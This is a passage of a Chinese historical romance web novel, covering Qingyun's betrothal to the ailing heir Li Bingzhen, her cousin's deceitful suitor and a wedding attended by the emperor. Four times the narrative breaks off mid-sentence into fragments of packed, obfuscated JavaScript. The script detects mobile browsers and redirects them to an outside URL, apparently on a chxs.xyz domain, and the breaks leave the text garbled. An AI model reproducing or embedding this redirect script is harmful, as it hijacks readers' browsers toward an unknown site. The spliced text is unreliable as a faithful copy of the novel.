“我生来体弱,常年恶疾缠身,太医也曾断定寿数不长。只是家中长辈不愿我一直孤身一人,才动了为我娶妻的念头。我不忍拂长辈好意,但本人对娶妻之事,实则毫无兴趣。” “且我习惯独处,不喜与外人来往,若你我成婚,住处就分左右两院,互不打扰,有事可令下人传话。长辈那边问起,我自有说辞。” 清蕴“哦?”了一声,似有好奇,轻声问,“洞房那日呢?” “……我对男女之事,毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659647|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无兴趣。” 这几个字,李秉真说得尤其慢,似乎是才想到的话。 但表达的意思已经很明显,嫁过去,不仅要守活寡,还可能很快成为真正的寡妇,且丈夫对你根本不会有任何感情。寻常女孩儿听到这些,早就起身离去,清蕴想了想,竟点头道:“如此正好。” 李秉真顿在那儿。 “实不相瞒,我和世子一直有同样想法,总不知若是成婚,要如何与人相处,没想到今日竟能碰到志同道合之人。”说完这句话,清蕴继而一笑,“世子放心,若你不幸英年早逝,在找到下位合心意的人之前,我不会轻易改嫁。” 李秉真:“……” 久久无言,见他再想不到其他说辞的模样,清蕴终是忍俊不禁。 “世子为推拒一桩婚事,当真煞费苦心。” “先不论世子的君子之风翰林院皆知,稍加打听便能知道。”清蕴温声道,“真正傲慢之人,如何会专程为他人再备一壶梅花茶?我进房后,世子便关了小窗,抵去寒风。这座绣墩明显不是光明寺之物,应是专程为我所备。那几本书恐怕也是世子怕我等得烦闷,着人特意摆放。” 停顿几息,指向那方手帕,“帕上的血迹早已干了。” 她不紧不慢道出破绽,李秉真细思起来,竟是无一处不对,顿时露出无奈笑意,如和煦春风,将坚冰瞬间融化,“陆姑娘真是心细如发。” 他起身朝清蕴深深作揖,“少思无礼,冒犯了陆姑娘,还请姑娘原谅。” 清蕴起身还礼,“世子客气,我早有察觉,称不上冒犯。” 李秉真又笑了声。 起初见陆姑娘,他有瞬间为对方的容色所惊,感叹她的清丽出尘。本以为她和那些养在闺阁、温婉端庄的大家闺秀一样,经不得话激,没想到对方从一开始就看穿了自己的打算。 他没有为自身感到尴尬,只深深为对方的聪慧敏锐折服。 二人随后正式交换了姓名,李秉真道:“陆姑娘通透至此,更该明白,我说的话虽有夸大,但也是事实居多。国公府这边,我会和长辈说清楚,不会再为难你们。如果王家长辈询问,请你尽管把今日情形说出,不必在意我的声誉,他们斟酌后,定不会再同意这门亲事。” 清蕴没有回答,反问他,“若世子身体无恙,今日见我,认为如何?” 李秉真根本无需思考,就说出了“极好”二字,清蕴微微一笑,“那世子觉得,我该找个怎样的郎君议亲?” 怎样的?李秉真语迟,想不出具体模样,但至少不该是他这般…… “反正不该是世子这样的短寿之人,而是该与人和和美美地共度此生,白头偕老,是吗?” 李秉真眼中流露出认可之意。 “与相爱之人白头偕老,固然是世人所愿。可世子应当也见识过,这世上有多少夫妻是真正的两心相许?到底是共白头,还是渐成怨偶,谁能清楚?”清蕴看着他,“至少今日见面,我对世子并不失望。” “人多薄情,是嫁个表面和睦实则同床异梦的郎君过一辈子,还是找个合心意之人,不论岁月长短地相处,我心中有数。世子不必因寿数对我有愧,若在我们有幸结缘的时日中,世子能够对我一心相许、忠贞不二,于我而言,一年胜百年。” 8. 第八章 藉香目送王家一行人离去,进房时见世子正站在窗边遥望,不知在看山间风景,还是那位陆姑娘的身影。 “藉香。”李秉真出声,“我也许做了个不当之举。” 对于世子之令,藉香从来不问缘由地服从。像今天来光明寺,他明知世子谋算,也很配合地刁难陆姑娘。 一回生二回熟,他还记得上次世子拒绝宝真郡主时,就是故意让女使贴身伺候,作出贪花好色模样,成功把人吓跑的。这回换了个法子,是因为大长公主担心世子故技重施,不许他带女使出门。 如果藏翠在这儿,肯定不会赞同此举,他只会苦口婆心地劝世子听从殿下安排。 这不代表藉香没有自己的想法,就像此刻,他对那位陆姑娘其实很有好感。文雅美丽,风雨不惊,让他不由想,若世子娶妻,也正是这样的女子才相配。 可惜世子一直自称是残病之躯,无心此事。 所以思考了会儿,他说:“世子拒绝太快了。” 无论如何,该多给自己一些机会才是。 李秉真回首,目光奇异,“不,是被说服得太快。” 藉香:“……?” ** 清蕴归家后,和外祖父母长谈了一个下午。和世子见面的细节自然不必交待,她只说:“世子为谦谦君子,我们二人一见如故。” 王贞闻言说了声好,秦夫人看起来有满腹意见,想起先前祖孙俩的谈话,到底应下了。 于是三日后,府里就传出了她将要和齐国公世子成亲的消息。 因为德高望重的云太夫人受齐国公府所托,携礼来王家提亲了。 位高如李、王这样的人家,没有提前说妥的话,决不会这样大张旗鼓。一旦开始纳采,八成就是板上钉钉的事了。 大多数人不知国公府内情,有好些是真心实意为清蕴感到高兴,道陆姑娘仙子面容菩萨心肠,正该配这样的豪门望族。和她不熟的,见了朝云榭的人也要纷纷道贺,反正锦上添花总没错。 唯独清蕴的大舅舅王维章,在发现自己不必再停职待家,又听闻这桩婚事,哪还有什么不清楚的。稍一试探,得知郑氏果然去找了清蕴,当场就大骂郑氏糊涂,说朝堂的事和这毫无关系,不过是大长公主故意借此吓唬她罢了。 发了一通火,王维章抬脚就要去齐国公府,临到门前却正好被父亲撞见。 得知他去意后,王贞笑呵呵把儿子叫到了书房。 父子俩谈了什么,外人不得而知。不过王维章出来出后就叫来郑氏,让她把名下的一些铺面、庄子和古器都给外甥女添妆,并对清蕴郑重许诺,若有事,尽可来王家寻他。 郑氏自知理亏,对于这些安排虽然不舍,但也都老实照做了。 除此之外,二房长辈、京中好友,还有见过她的彭掌柜等人,都表示祝贺。 众人好意,清蕴都一一领受了,并没有因为这门亲事流露出太多情绪。 这桩婚事在外人看来,她一个孤女是有幸得了贵人青睐。在王家人眼中,她受尽委屈。唯独她自己清楚,有些事和天意关系不大,如今这个结果,机缘巧合只占少数,更多的是她步步促成。 如果凡事都凭天意、看运气,她此时此刻也不会站在这儿。 所以清蕴很快定下心来,开始为四月后的婚期做准备。 但忙碌的同时,有件事她一直不曾忘记,在稍微得空后,就来到了竹院探望王令娴。 离那夜过去已有半月,这位表姐瞧着丰润些,不像之前那样瘦骨伶仃,只是双眼依旧憔悴,没什么气力般。 饶是如此,在清蕴到来时,她依旧打起了精神,目中含着止不住的歉意。 “我听说了。”她道,“本想去看你的,可被娘拦住了。她说……这是你自己答应的,是真的吗?” 清蕴嗯一声。 “你真傻。”王令娴露出忧愁神色,“我不喜那桩婚事,不仅是因为周郎,也是听说了那齐国公世子实非良配。你万不该答应的,只要你不愿,祖母一定会护着你。” 她绞尽脑汁、想方设法,但从没想过要把这门亲事推给自家姊妹。 “没有大姐姐想的这么糟。”清蕴柔声说,“我与世子见了一面,只觉是位光风霁月的郎君,而非仗势欺人的纨绔子弟。至于身体弱些,我又不期盼夫婿上马建功名,有何妨呢?” 她说得轻快又简单,王令娴却总觉得表妹在安慰自己,嘴角扯了扯,一副似笑非笑、似哭非哭的模样。 清蕴的目光在她周身转了圈,“那件事如何了?” 她指的,是先前给王令娴用于试探“值不值得”的方法,快一月时间,来往几回,应该能看出迹象了。 王令娴沉默了会儿才回答,“我不知自己感觉是否正确。” “嗯?” “按你的说法,我给周郎传信,说家中同意了我和他的婚事。但从此不会再管我,任我随他去外地赴职也好,或去苏南那边也好,都不会理睬。还说,家中嘱咐我们除去年节,不必再走动。”她缓缓陈述,“这封信后,足足等了半月,周郎才有回信,他说……” “说我不应为此和家中决裂,父母恩情不能忘,血脉亲缘不可割舍。” 王令娴再是因感情一叶障目,也能察觉其中蹊跷。周墨暗示她为了二人情谊,可以破釜沉舟、不顾一切,然而做出这样的事,又怎能不和家人决裂呢?他早该明白,王令娴以自尽要挟家人的刹那,就是选他而弃王家。 有这样的要求,他的目的几乎呼之欲出。 王令娴低声,“他还说这段时间不会扰我,也不会让长辈登门,让我专心和家中重修旧好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659648|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “重修旧好。”清蕴重复着这个词,“看来周探花很孝顺,所以不忍你和长辈闹僵。” 听得这近似讥讽的语气,王令娴看她,“你也觉得,他表里不一、行为有异?” “大姐姐心中已有想法,何必多此一问?” 话落,王令娴心头悬着的巨石终于跟着重重落下。她不笨,非要从表妹这儿得到答案,也是因最后一丝不甘心。 相较日渐式微的周家,王家胜出太多,祖父又是六部堂官之一,他应该很想借王家在京城站稳脚跟罢。原来不是对她,而是对王家。 可她在此前当真没有一点感觉吗?宴会上那么多美丽动人的女孩儿,周郎为何独对她一见钟情,私下各种讨她欢心呢? 所以此刻,她厌恶的是自己的自欺欺人,也厌恶周墨暴露得如此之快,甚至不愿多和她周旋一段时间。 他怂恿她自尽时,到底是抱着什么样的心情,即便她当真死了也无所谓吗? “既然已经试出结果,认清了此人,大姐姐不如就把事情全部告诉舅舅,他自会帮你做主,你就不必再理会他了。” 王令娴有些恍惚,闻言点了点头,“会的,我答应了爹爹,会告诉他。” 清蕴微皱眉头,又说了几句话,王令娴才真正回过神来,对她轻轻一笑,“放心罢,我连生死都可以置之度外,又有什么放不下呢。不会做傻事的,让爹教训他就好,待你成婚时,我还要养好身子看着你出嫁呢。” 仔细观察她的神色,清蕴面上没说什么,只在私下时认真叮嘱素桃、素荷二人跟紧她,一有异样就马上禀报家中长辈。 自从经历过王令娴割腕一事,两个女使险些被发卖,也惭愧于自以为是的隐瞒差点害死主子,听了这话连忙点头,保证绝不会让王令娴有孤身一人的时刻。 如此大约一个时辰后,天幕暗了下来,清蕴才回到朝云榭。 没了什么紧要的事,她索性去整理架上藏书。 她喜爱读书,无事的时候,随手就能拿一本翻看许久,不拘雅俗、不拘形式,只要她觉得有用,就能看下去。 嫁去齐国公府,屋内其他可收拾的不多,唯独这些书需仔细挑拣。 从上到下,每本都有她翻阅的痕迹,更久远些的,是初来王家时旁人送的一些读本。整理起来,其中最多的竟是王宗赫所赠诗集。 诗词多是她打发时间用的,看得不频繁,所以这些诗集要新些,整整齐齐独占一架。 清蕴刚取下一本,外头白兰传声,“姑娘,有人找您。” 紧接着补充,“是三公子的书童疏影。” 清蕴闻声走到院中,疏影很有礼地站在三步之外,“陆姑娘,公子有一事托我问您,可否借步说话?” 没有马上答应,循他视线瞥去,清蕴看到了在转角暗处等候的那道身影。 9. 第九章 漆黑墙角没有几点亮光,他站在那儿,和张牙舞爪的树影交缠,带着令人心惊的沉默。 王宗赫显然是从国子监临时赶回,没有惊动府里其他人,仅仅在僻静处无声等她。 让她想起刚到王家时,她对京城许多地方不熟,每当以为自己要迷路时,身后都会有这道身影。 这样的天色分明看不清任何事物,疏影却感觉这两人已经静静对视了好一会儿,随后他听到陆姑娘开口,“这儿没有外人,有事直接说罢。” 这是拒绝和公子见面的意思,疏影干笑两声,绞尽脑汁试图说动面前少女。但平日里随和亲善的陆姑娘拒绝起人来也很干脆,丝毫不给他机会。 “下雨了。”清蕴道,“既然你不好说,那就等三哥回来,我再直接问他罢。” 说完她让白兰递了把伞,头也不回的进房去了。 疏影简直不敢看公子脸色,慢吞吞挪过去,“爷……” 半晌,王宗赫“嗯”一声,没有过多停留,转身离开。 细雨倾洒,王宗赫无心遮挡,衣角、发梢都沾满了雨丝,很快化作水珠滑落。他有张年轻英俊的脸,轮廓分明,眉眼锋利。而他的性情自幼就十分沉稳,处世练达,被王贞夸有大将之风。 但就是这样的他,此刻在雨中毫无目的地大步前行,双目低垂,看不清神色。 因遇到一些事,他这段时间十分忙碌,直到前几日才听说清蕴将要和齐国公世子定亲。 于是匆匆归家,先去找了祖父王贞,向其请求将清蕴嫁给自己。 祖父问他为何,他沉默了很久,说自己早就心悦表妹,还说,齐国公世子不值得托付终身。 祖父当时笑起来,“齐国公世子是否值得托付,你说了不算。不过,清蕴确实是个很容易叫人喜欢的孩子,我还记得,清蕴刚来家中时,你们兄妹和她很要好,时常孟不离焦。但你既然心悦于她,二人为何又逐渐疏远,以至冷淡呢?” 他没有回答,祖父却好像早知答案,对他说,“靡不有初,鲜克有终。许多事和读书一样,需得慎终如始。宗赫,你尚且年少,有许多力不能及之处,这并非你的过错。清蕴亦有她的选择,旁人无法干涉,也不该干涉。” 祖父说话总是如此,点到即止,从不说得太明白。只毫无疑问告诉他,他如今并没有改变事实的能力。 无论于清蕴,还是其他。 ** “姑娘,齐国公府那边又送了礼来。” 临近年关,随着两家走动频繁,白兰白芷和齐国公世子身边的人越发熟悉。除去光明寺的藉香,另有一护卫名藏翠,二人一静一动,待她们都极为热情,言谈间已经把清蕴当作女主人看待。 这次送来的是一枚琥珀观音像,与指同长,雕工细腻,观音含笑之态栩栩如生,可在掌心随意把玩。 外祖父王贞喜欢鉴赏古器、名玩之流,清蕴随他学过,一眼就看出这是不可多得的珍品。 琥珀因其成因、特性被作为佛教七宝之一,《山海经》也早有关于它的记载:招摇之山,临于西海之上,丽之水出焉,西流注于海,其中多育沛,佩之无瘕疾。 对盛行佛教的建朝来说,琥珀是极受推崇的,这份礼很用心。 “花签、琴谱、镇纸、琥珀,李世子送礼也太频繁了。”白兰轻声感慨,但也没有很稀奇。 时下风气开朗,未婚男女间都可明着送礼示好,更别说已经定下婚约的二人。这位李世子不愧为翰林院首笔,骨子里充满了文人情怀,送的礼都很风雅。 至于姑娘喜不喜欢这些,白兰看不出,因为姑娘每回看过后,都是令她们好生收藏起来,也从来没回过礼。 这样平淡的态度叫白兰不由好奇起那日光明寺的情形,私下问白芷,白芷闭口不言。陈危就更别说了,压根不理她。 把玩了会儿,清蕴照旧让人把琥珀收起来。 “姑娘,世子的礼另找个小箱子放置罢?这阵子送礼的人太多,尤其是陆家,两大箱子都装不下,到时候都要一起带去国公府么?” “理一理,按家里各人喜好都送一份。剩下的拿去彭掌柜那儿,直接卖了。” 陆家行事依旧是一贯风格,得知她和齐国公世子定亲,再不提先前的事,婚期未至就提前送了好些重礼,大意是讨好。清蕴从不拒绝,反正等他们发现拿不到好处时,就会自然而然收敛了。 “陆姑娘——”院门外遥遥传来声音,说是宫中来人,正在前厅等候,请她立刻过去。 宫中来人,且与她有关,叫人很轻易就想到了李贵妃,即齐国公和大长公主的长女。因身份特殊,她一入宫便得妃位,后晋升贵妃,盘踞后宫近十年,颇得圣心。 稍作打理后去了前厅,果然见两位出自承乾宫的女官在耐心等候。二人见了她十分客气,说除夕将至,贵妃娘娘特给她赐下年礼。秦夫人在旁,示意清蕴谢恩。 很难说她们到底是来赐礼,还是另有目的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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规劝只会惹厌,李贵妃忍住谏言,把弟弟将要娶妻之事说出。 “朕听说了。”建帝挑眉,“依你看,那女子如何?” 说到这儿李贵妃恢复笑意,重述了遍女官的话,说这桩婚事“甚好”。 能够被守礼到古板的李贵妃称赞,建帝几乎能料想到这是位怎样的木头美人,漫不经心道,“既然如此惦记,大婚当日,朕陪你去亲眼看一看就是。” 10. 第十章 建帝的提议,李贵妃当然不想答应,他喜欢饮酒,醉酒后性情又尤为不羁,万一在弟弟大婚当日闹出事端就不美了。 但建帝做的决定,单凭她根本无法撼动。 李贵妃无法,只能把此事告诉家中,让他们提前做好准备。 过完除夕,很快就到了正月十八。 这是两家合算出最近的黄道吉日,时间赶了些,但该有的礼节丝毫未减。为表对清蕴的重视,齐国公府在原定的聘礼上,又添了千斤黄金,王家分毫不取,全作为清蕴嫁妆一同给她添上。 亲迎这日一早,除却赞礼、妆娘等人,王家的秦夫人、两位舅母、两位表姊妹,还有不远千里从江苏赶来的两位伯母都陪在清蕴房中,极为热闹。 两位伯母刚过完除夕就从江苏动身,才将将在昨日抵京。八年多没见面,昨晚还险些把王令娴认作清蕴,闹出笑话来。 清蕴两位伯父都吃的皇粮,一个在浙江严州任知府,多年来政绩平平、难以升迁,一个在卫所混了个百户,整日吃酒斗鸡、不图上进。夫妻一体,丈夫如此,两位夫人作风同他们也很像,大伯母腼腆,二伯母泼辣,大约都奉了令,很想讨好清蕴。 可惜有秦夫人坐镇,她们就算想同清蕴亲近,也找不到机会。 总算等她妆毕,二伯母宁氏见缝插针地夸人,“不愧是咱们陆家的姑娘,果真天姿国色,满京城怕是都找不到更出众的了,怪不得会被国公府一眼看中。” 大伯母赵氏轻轻点头,十分认同。昨夜没认出清蕴,就是因为她相貌远胜已逝的弟弟、弟妹,且与那二人几乎没有任何相似之处,才叫她看走了眼。 她记得侄女幼时生得好看,但远没有现在这般夺目。那会儿瞧着圆滚滚的杏眸,如今却成了似水柔情的桃花眼,未语都有三分笑意。 当真是女大十八变。 秦夫人、王令娴隐隐皱眉,郑氏翻了个白眼,柴氏则以袖掩笑,各人神色不一。 王令嘉没品尝出其他意思,连声点头,“没错呀,陆姐姐当真好美。” 清蕴笑说:“是恰巧有缘,才得以结这门姻。两位伯母对我有爱护之心,言语自然偏袒。今天日子特殊,这夸赞我就先厚颜领受了,想必大姐姐和令嘉妹妹也不会计较。” 众人立刻附声。 秦夫人扫过国公府派来的人,为免陆家两个再说出什么惊人之语给清蕴丢脸,出声道:“不用这么多人陪,你们大早起来也劳累了。刘妈妈,带她们去用朝食。” 无论是否乐意,其他人都暂被请出门,留给祖孙俩说话的空间。 这会儿天色仍然蒙昧,屋内燃满喜烛,映出满室珠光。 秦夫人细看外孙女,忆起她八岁刚来王家时的瘦小模样,轻声说:“知念出嫁仿佛还在昨日,转眼你竟也要为人妇了。” 王知念即是她的小女儿、清蕴母亲。 送别了女儿,如今又看着外孙女出阁,这样大喜的日子,秦夫人却很是惆怅。到底久经岁月,她适时收起了那些感慨,转而提起另一件紧要的事,“我之前带你去看的那个大夫,昨儿回了信。” 两个月前,秦夫人寻了位民间声望极高的医女,据说对女子疑难杂症很有研究,她听说后就私下带清蕴去了回。并不是执意要治好外孙女那子嗣艰难的病症,而是怕她身体由此落下病灶,引出其他问题。 身体如果能健康无恙,总归更好。 “她说你尚且年轻,如果愿意治,还是大有希望的。”秦夫人斟酌语气,怕惹得清蕴伤心,“只是不仅要用药,还要针灸和药浴辅助,时间或许要一两年,还得随时去找她看诊。” 这是长辈心意,清蕴当然不会拒绝,“好,等得了空,我再去和林大夫商量。” 秦夫人松了口气,不抵触就好,“她常年待在京城,随时都能去。如果身在国公府不方便,就传话给我,以我的由头去看,也省得叫人说闲话。” 作为长辈,她把各方面都考虑得周到,清蕴听了唯有感动。碍于妆容秾丽,嫁衣也换上了,不便动作,就轻轻靠在了秦夫人肩头,止住她的声声细语。 “阿嬷放心罢,我会好好的。” ** 黄昏时分,清蕴终于听到外面传来叫喊,世子来迎新妇了。 喜娘立刻给她披上红绸,嘱咐女使看好,勿让它掉落。左右跟着有条不紊地忙活起来,搀扶的搀扶,抱瓶的抱瓶,口中说着吉祥话,由赞礼请清蕴出门。 齐国公世子娶妇,王老尚书嫁外孙女,前来恭喜道贺的人络绎不绝。尤其是齐国公麾下武将、大理寺和礼部官员,脸熟的几乎都来了,待会儿有些还要跟着一同去国公府,此刻王家极为热闹。 众人听到赞礼高喊,目光不约而同落到门前,想见见这位极少在人前露脸的世子。 伴随着一声通传,一位年轻郎君在王家大门前下马。 他有着承自齐国公的修长身形,下马时如行云流水,极为潇洒,毫无凝涩。眉目沉静温雅,身处万众瞩目之处依然谈笑自如,对朝自己祝贺的人微微颔首示意。 仅这一面,就有不少人为其风采折服。 王令嘉偷偷和堂姐咬耳,“这位世子同陆姐姐神态气质好生相似,他们二人如果站在一块儿,简直是对神仙眷侣。” 王令娴点头,心底也为表妹松了口气。至少看外表,这位李世子不像久病之人,希望那些都是谣言罢。 旁人看这场婚事,只觉鲜花着锦、烈火烹油,是权势富贵的交汇融合。作为清蕴姊妹,她们关心的唯有新郎样貌如何、品行如何,待自己的妻子如何。 因此偷偷来看过新郎,观察过李秉真的外貌气质,她们又跑回清蕴身边,对她说起见闻,想叫她宽心般,把人大肆夸赞了番。 清蕴被她们逗得笑容不止。 很快,十全仆妇来引她去堂前和李秉真相见。即使隔着朦胧的红绸,她也一眼看见了李秉真身影。 他果然有些不同,一扫那日憔悴病容,看起来基本和常人无异了,安安静静地立在堂前,仿佛一株挺拔的青竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659650|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,堂前那么多人的打量都没有叫他神色有所变化。 待她出现,李秉真才终于有了动作,提前两步来扶。 这是离府前的最后一步,两人要相携拜别长辈。 王贞和秦夫人坐在主座,其侧由王维章和郑氏代做清蕴父母。她的两位大伯倒也很踊跃给侄女送嫁,可惜王家无人理会他们,这会儿只能同旁人一起,在堂外观望。 “你们如今夫妻一体,从此以后,无论遇到何事都要相辅相成,同荣辱,共进退。” 二人深深揖首,齐答记住了,秦夫人面色十分柔和,“愿你们夫妇乾坤和乐,永结同心。” 拜别长辈这步没有费多少时间,不到一刻钟,两人就齐齐出了堂前,李秉真手扶清蕴,把她交予女使,看着她登车入轿后才转身上马。 国公世子大婚,当然有严格规制。因府上圣眷荣重,又另有便宜。从王家到齐国公府,一路都有官兵相护,仪仗行队,香车宝马,头尾占据了数条长街。路途偶尔遇到障车讨要酒食钱帛,都被藏翠藉香等人轻松应付了。 喜轿停落,齐国公府大门敞开,从石阶下铺了条厚重红毡,一直延伸到堂内。 这种时候,凡事都不用清蕴操心,每步都会有赞礼引导,从下轿到拜见国公府一众长辈,简单顺利得出人意料。 直到即将送入新房时,管家匆匆步入,在齐国公身侧耳语两句,他点了点头,对所有人道:“圣躬已至,都随我去见驾。” 成婚当日能得皇帝亲临,毫无疑问是种无上荣光。齐国公领人到门前接驾时,两旁早就站了一群人,众人不敢直视君上,便在齐国公等人来时齐齐看去。 建帝此行不仅携了贵妃,身侧竟还随行着柳文宗柳阁老。 柳阁老和齐国公在朝堂上向来不对付,没人想过他会来吃这份酒。但他不仅来了,还是跟着建帝一起来,面容和煦地送上了厚礼,叫一众官员侧目。 “朕此来只为喝一杯喜酒,诸位不必拘束。该如何继续如何,不要因朕影响了这大喜的日子。” 建帝说完,就在齐国公迎接下径直走入前厅。氛围瞬间松快下来,清蕴也跟着重新走回去。 说来尴尬,如果建帝晚来一刻钟,她应当已经进了新房。可来的时机这么微妙,导致她只能先行去见驾,这会儿头上还蒙着一层红绸,在一众人中尤为显眼。 建帝很快注意到她这位新娘,挑眉道:“怎还盖着喜帕?” 有人答要送入新房后由世子挑盖,建帝笑道:“都是虚礼罢了,朕也是来得巧,不如就现在揭开,好叫朕一领新人风采。” 这混不吝的话,也只有身为帝王的他可以随意说出,视礼节于无物的态度立刻引得李贵妃和太夫人出声,“陛下,万万不可——” 清蕴身形微动,手就被李秉真握住,以为她在害怕,轻声安抚道:“无事,不必担心。” 确实不用担心,因为大长公主已站了出来,“陛下玩笑而已,不必当真。徐嬷嬷,着人送世子和世子夫人去新房。” 11. 第十一章 不管内心是什么想法,建帝面上还是很敬重大长公主这个长辈的。姑母出面否了自己的话,他便一笑置之,没再说什么。 但直到离开前,清蕴都能感觉到一道强势灼热的目光,令人如芒在背。 那些听说的消息在脑海中不由再次浮现,关于齐国公府,关于天子。 齐国公府和皇家关系可以说极为亲密,一位大长公主、一位等同副后的贵妃,足以让它傲然于其他宗亲皇族,更别说国公夫妇手里握着实打实的兵权,天子有时都要谦让三分。 按理来说,建帝的行为确实应该是玩笑居多,但清蕴总觉得刚才门前的氛围有些微妙。 又或者说,另一道传闻为真。自从平复战乱后,建帝性情越发狂放,常常深入猎场厮杀,见血方休,疑似是疯症之兆。 如果真是疯症,突然发难就不奇怪了。 这些事具体如何,清蕴都不得而知,全凭猜测。深居闺阁就是这样,即使她可以通过手下的人打听消息,能够了解的终究有限。 “夫人。”白兰奉上一盏浮元子,让清蕴收回思绪,“整日都没怎么用食水,先填填肚子罢。” 方才两人喝过合卺酒后,李秉真就出门待客去了,他说去去便回,但可以料想时辰不会很短。 “不急,等世子回来罢。”清蕴对她一笑,让她们先去外间用些点心,自己则继续坐在喜榻上,目光缓缓流转。 这儿是世子惯常的居所,也是今后夫妻二人的寝室,布置十分典雅。因她的到来,另外添了明镜台、绣墩等物。 除去这些,纵目望去,屋内就没什么李秉真独有的物件,比她的闺房还要简单明了。那日他在光明寺左右手对弈,本以为是爱棋之人,这儿却看不出什么痕迹。 墙壁也是空落落,唯独挂了一副字,书写的是《金刚经》中段落,字迹孤峭挺拔,锋锐非常,尽显寂寥之意。 字如其人这个说法当然是不准的,多少卑劣凶恶之人能够练得一手好字。如果拿这个来给人品分高下,恐怕天下人都会乐于练字。 但从一个人的落笔风格,多少能窥见他内心一角。如果这幅字是李秉真所写,至少说明他的性情并不只有“温文尔雅”一词可以概括。 想到他自幼多病,这种矛盾复杂之处就可以理解了。 大约等了半个多时辰,李秉真携寒意而归,神色没清明。因病之故,他从来不饮酒,也没什么人敢灌他酒。 他见清蕴姿态没变化,料想她还没吃东西,就让人上了桌饭食,歉然道:“本来打算一刻钟就回,但陛下兴致颇高,多费了些时辰,让你久等了。” 清蕴说了声没事,就起身到明镜台前卸钗篦发。 李秉真更衣要简单很多,他换上了月白常服,就站在旁边看着她。 清蕴有一捧浓密的乌发,松散披在身后时如云般缓缓流淌,在女使的动作间,不时有亮丽的光泽闪过。 两人在光明寺见过一面,那时李秉真只知她貌美,不曾仔细打量。而今视线落在镜中,才注意到她有一双黑如点漆的眼眸,眼神柔和而不失清亮,五官宛然如画,唇畔天然上翘,微微含笑时,恰似皎皎明月,又如初绽桃花。一时间,内室仿佛都被她的容光照得更加明亮。 凝神欣赏了许久,他出声夸赞,“秀色掩古今,荷花羞玉颜,美人当如是。” 浪子般的言语,从他口中说出却一点不见轻浮,清蕴回头,望见他立在灯火辉煌处,神色坦然,顿时展颜,“多谢,世子亦是英朗非常。” 二人互夸的当口,仆婢们忙完已自觉退出内寝。四方桌旁摆了各式点心饭菜,分量轻,种类多。 问过她的喜好,李秉真为她取了碗清水面,自己则熟练地端起旁侧黑乎乎的汤药,面不改色地一饮而尽。 “世子身体不适?” “是日常温养身体的药,我暂时无事。”李秉真解释,“今日特殊,我提前服了一丸药,这几天都会和常人无异。不过之后会虚弱一阵子,到时候你不要被吓着才好。” 他没有传闻中那么羸弱,可也确实难以支撑大婚当日的强度,就特意到太医那儿取了这丸药,除去两个护卫谁都不知。国公府的人见了,还当他是人逢喜事精神爽,身体也随之大好,大长公主更是满意这门亲事。 清蕴嗯了声,“只要世子不突然咳血,想来我应该不至于受惊吓。” 这平静又略带促狭的语气,立刻让李秉真想起自己为推拒婚事而想出的“妙招”。 当时不觉有异,这会儿被提起来难免不好意思,颇为无奈,“那日……确实鲁莽了些,请陆姑娘别再拿此事笑话我了。” 他仍唤陆姑娘,许是角色尚未转换,也可能是认为她需要时间接受。 二人对视,忽而齐齐笑起来。 这时候,那矜持有礼到客气的氛围总算缓和许多,找到了一丝熟悉的感觉,不像开始那样拘谨了。 简单用过饭食,二人没有唤仆妇进门,而是继续在位上坐些,仿佛在各自思索。随后李秉真忽然想起一事,起身从八宝格中取出一沓纸和两串钥匙。 “这是一些银票、地契和箱笼的钥匙。” “……嗯?” “我俸禄微薄,这些银票是往日长辈所赐财物和名下店铺经营所得,共同积攒而成。庄子、房屋的地契亦是家中所赠,箱中放的是自幼时起得的一些珠宝字画古玩。”李秉真说,“这些对我来说都没什么用处,往日都是放在库房做摆设,如今全交给陆姑娘,任凭你取用和处置。” 夫妻之间财物共用很正常,可这仅仅是他们成婚的第一晚,清蕴一时没说话。 见清蕴迟迟不收,李秉真知她有顾虑,正色道:“陆姑娘。” “我因多病,常在家中休养,所见女子无非祖母、母亲、长姐和幼妹,甚少与他人相处,不懂一般女子所思所想,便想先把这些钱财交给你,有什么喜欢的,你可以自行采买。相较其他郎君,也许不解风情。但……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 